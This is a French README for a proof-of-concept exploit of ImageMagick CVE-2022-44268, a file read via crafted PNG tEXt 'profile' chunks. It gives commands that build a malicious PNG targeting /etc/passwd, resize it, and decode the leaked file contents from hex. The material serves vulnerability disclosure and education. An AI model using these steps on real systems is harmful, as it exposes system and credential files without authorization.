
Exploit de preuve de concept pour la vulnérabilité de lecture arbitraire de fichiers dans ImageMagick (CVE-2022-44268) via des fragments de texte PNG conçus, permettant l'extraction de fichiers système lors des opérations de redimensionnement d'image.
Ce dépôt contient une preuve de concept (POC) pour une vulnérabilité dans ImageMagick (v. 7.1.0-49), une bibliothèque de manipulation d'images open-source largement utilisée. La vulnérabilité permet à un attaquant d'incorporer le contenu d'un fichier arbitraire dans une image redimensionnée lorsque ImageMagick analyse un fichier PNG.
Lorsqu'ImageMagick effectue des opérations telles que le redimensionnement sur un fichier PNG, il peut inclure le contenu d'un fichier système, à condition que le binaire magick ait les permissions nécessaires pour le lire. Cette vulnérabilité résulte d'une mauvaise gestion des blocs textuels dans les fichiers PNG.
Un acteur malveillant peut exploiter cette vulnérabilité en créant un fichier PNG ou en utilisant un fichier existant et en ajoutant un bloc de type textuel (tEXt). Ces blocs sont constitués d'un mot-clé et d'une chaîne de texte. Dans ce cas, si le mot-clé correspond à la chaîne "profile" (sans guillemets), ImageMagick interprétera la chaîne de texte associée comme un nom de fichier et tentera de charger son contenu en tant que profil brut. Par conséquent, lors du téléchargement de l'image redimensionnée, celle-ci contiendra le contenu du fichier distant spécifié par l'attaquant.
Pour plus d'informations, voir cet article de MetabaseQ.
Pour exploiter ImageMagick, générez un fichier PNG malveillant :
python3 CVE-2022-44268.py /etc/passwd # Create output.png
Ensuite, exécutez une opération de redimensionnement avec convert :
convert output.png -resize 50% leak.png
Enfin, inspectez l'image leak et convertissez le Raw profile en hexadécimal :
identify -verbose leak.png
# ...
Raw profile type:
2367
726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 [...]
python -c "print(bytes.fromhex('726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 [...]'))"
Note : Cette POC est destinée uniquement à des fins éducatives et informatives. Veuillez vous assurer que vous disposez des autorisations et de l'autorisation légale nécessaires avant de tester ou d'utiliser cette POC sur tout système.